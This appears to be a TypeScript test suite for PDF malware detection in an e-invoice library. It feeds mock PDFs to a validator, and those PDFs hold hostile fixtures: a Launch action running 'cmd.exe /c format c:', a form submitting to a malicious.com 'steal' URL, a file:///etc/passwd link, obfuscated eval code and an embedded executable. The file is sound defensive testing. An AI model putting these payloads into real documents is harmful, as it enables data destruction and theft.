einvoice/test/suite/einvoice_security/test.sec-03.pdf-malware.ts
2025-05-25 19:45:37 +00:00

351 lines
11 KiB
TypeScript

import { tap } from '@git.zone/tstest/tapbundle';
import * as plugins from '../plugins.js';
import { EInvoice } from '../../../ts/index.js';
import { PerformanceTracker } from '../performance.tracker.js';
import * as path from 'path';
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async (t) => {
const einvoice = new EInvoice();
// Test 1: Detect JavaScript in PDF
const javascriptDetection = await performanceTracker.measureAsync(
'javascript-in-pdf-detection',
async () => {
// Create a mock PDF with JavaScript content
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
try {
const result = await einvoice.validatePDFSecurity(pdfWithJS);
return {
detected: result?.hasJavaScript || false,
blocked: result?.blocked || false,
threat: 'javascript'
};
} catch (error) {
// If it throws, that's also a valid security response
return {
detected: true,
blocked: true,
threat: 'javascript',
error: error.message
};
}
}
);
t.ok(javascriptDetection.detected || javascriptDetection.blocked, 'JavaScript in PDF was detected or blocked');
// Test 2: Detect embedded executables
const embeddedExecutable = await performanceTracker.measureAsync(
'embedded-executable-detection',
async () => {
// Create a mock PDF with embedded EXE
const pdfWithExe = createMockPDFWithContent(
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithExe);
return {
detected: result?.hasExecutable || false,
blocked: result?.blocked || false,
threat: 'executable'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'executable',
error: error.message
};
}
}
);
t.ok(embeddedExecutable.detected || embeddedExecutable.blocked, 'Embedded executable was detected or blocked');
// Test 3: Detect suspicious form actions
const suspiciousFormActions = await performanceTracker.measureAsync(
'suspicious-form-actions',
async () => {
// Create a mock PDF with form that submits to external URL
const pdfWithForm = createMockPDFWithContent(
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithForm);
return {
detected: result?.hasSuspiciousForm || false,
blocked: result?.blocked || false,
threat: 'form-action'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'form-action',
error: error.message
};
}
}
);
t.ok(suspiciousFormActions.detected || suspiciousFormActions.blocked, 'Suspicious form actions were detected or blocked');
// Test 4: Detect launch actions
const launchActions = await performanceTracker.measureAsync(
'launch-action-detection',
async () => {
// Create a mock PDF with launch action
const pdfWithLaunch = createMockPDFWithContent(
'/OpenAction <</Type /Action /S /Launch /F (cmd.exe) /P (/c format c:)>>'
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithLaunch);
return {
detected: result?.hasLaunchAction || false,
blocked: result?.blocked || false,
threat: 'launch-action'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'launch-action',
error: error.message
};
}
}
);
t.ok(launchActions.detected || launchActions.blocked, 'Launch actions were detected or blocked');
// Test 5: Detect URI actions pointing to malicious sites
const maliciousURIs = await performanceTracker.measureAsync(
'malicious-uri-detection',
async () => {
const suspiciousURIs = [
'javascript:void(0)',
'file:///etc/passwd',
'http://malware-site.com',
'ftp://anonymous@evil.com'
];
const results = [];
for (const uri of suspiciousURIs) {
const pdfWithURI = createMockPDFWithContent(
`/Annots [<</Type /Annot /Subtype /Link /A <</S /URI /URI (${uri})>>>>]`
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithURI);
results.push({
uri,
detected: result?.hasSuspiciousURI || false,
blocked: result?.blocked || false
});
} catch (error) {
results.push({
uri,
detected: true,
blocked: true,
error: error.message
});
}
}
return results;
}
);
maliciousURIs.forEach(result => {
t.ok(result.detected || result.blocked, `Suspicious URI ${result.uri} was detected or blocked`);
});
// Test 6: Detect embedded Flash content
const flashContent = await performanceTracker.measureAsync(
'flash-content-detection',
async () => {
const pdfWithFlash = createMockPDFWithContent(
'/Annots [<</Type /Annot /Subtype /RichMedia /RichMediaContent <</Assets <</Names [(malicious.swf)]>>>>>>]'
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithFlash);
return {
detected: result?.hasFlash || false,
blocked: result?.blocked || false,
threat: 'flash-content'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'flash-content',
error: error.message
};
}
}
);
t.ok(flashContent.detected || flashContent.blocked, 'Flash content was detected or blocked');
// Test 7: Detect encrypted/obfuscated content
const obfuscatedContent = await performanceTracker.measureAsync(
'obfuscated-content-detection',
async () => {
// Create a PDF with obfuscated JavaScript
const obfuscatedJS = Buffer.from('eval(atob("YWxlcnQoJ21hbGljaW91cycpOw=="))').toString('hex');
const pdfWithObfuscation = createMockPDFWithContent(
`/JS <${obfuscatedJS}>`
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithObfuscation);
return {
detected: result?.hasObfuscation || false,
blocked: result?.blocked || false,
threat: 'obfuscation'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'obfuscation',
error: error.message
};
}
}
);
t.ok(obfuscatedContent.detected || obfuscatedContent.blocked, 'Obfuscated content was detected or blocked');
// Test 8: Test EICAR test file
const eicarTest = await performanceTracker.measureAsync(
'eicar-test-file-detection',
async () => {
// EICAR test string (safe test pattern for antivirus)
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
const pdfWithEicar = createMockPDFWithContent(
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
);
try {
const result = await einvoice.validatePDFSecurity(pdfWithEicar);
return {
detected: result?.hasMalwareSignature || false,
blocked: result?.blocked || false,
threat: 'eicar-test'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'eicar-test',
error: error.message
};
}
}
);
t.ok(eicarTest.detected || eicarTest.blocked, 'EICAR test pattern was detected or blocked');
// Test 9: Size-based attacks (PDF bombs)
const pdfBomb = await performanceTracker.measureAsync(
'pdf-bomb-detection',
async () => {
// Create a mock PDF with recursive references that could explode in size
const pdfBombContent = createMockPDFWithContent(
'/Pages <</Type /Pages /Kids [1 0 R 1 0 R 1 0 R 1 0 R 1 0 R] /Count 1000000>>'
);
try {
const result = await einvoice.validatePDFSecurity(pdfBombContent);
return {
detected: result?.isPDFBomb || false,
blocked: result?.blocked || false,
threat: 'pdf-bomb'
};
} catch (error) {
return {
detected: true,
blocked: true,
threat: 'pdf-bomb',
error: error.message
};
}
}
);
t.ok(pdfBomb.detected || pdfBomb.blocked, 'PDF bomb was detected or blocked');
// Test 10: Test with real invoice PDFs from corpus
const corpusValidation = await performanceTracker.measureAsync(
'corpus-pdf-validation',
async () => {
const corpusPath = path.join(__dirname, '../../assets/corpus');
const results = {
clean: 0,
suspicious: 0,
errors: 0
};
// Test a few PDFs from corpus (in real scenario, would test more)
const testPDFs = [
'ZUGFeRDv2/correct/Facture_DOM_BASICWL.pdf',
'ZUGFeRDv1/correct/Intarsys/ZUGFeRD_1p0_BASIC_Einfach.pdf'
];
for (const pdfPath of testPDFs) {
try {
const fullPath = path.join(corpusPath, pdfPath);
// In real implementation, would read the file
const result = await einvoice.validatePDFSecurity(fullPath);
if (result?.isClean) {
results.clean++;
} else if (result?.hasSuspiciousContent) {
results.suspicious++;
}
} catch (error) {
results.errors++;
}
}
return results;
}
);
t.ok(corpusValidation.clean > 0 || corpusValidation.errors > 0, 'Corpus PDFs were validated');
t.equal(corpusValidation.suspicious, 0, 'No legitimate invoices marked as suspicious');
// Print performance summary
performanceTracker.printSummary();
});
// Helper function to create mock PDF content
function createMockPDFWithContent(content: string): Buffer {
const pdfHeader = '%PDF-1.4\n';
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
}
// Run the test
tap.start();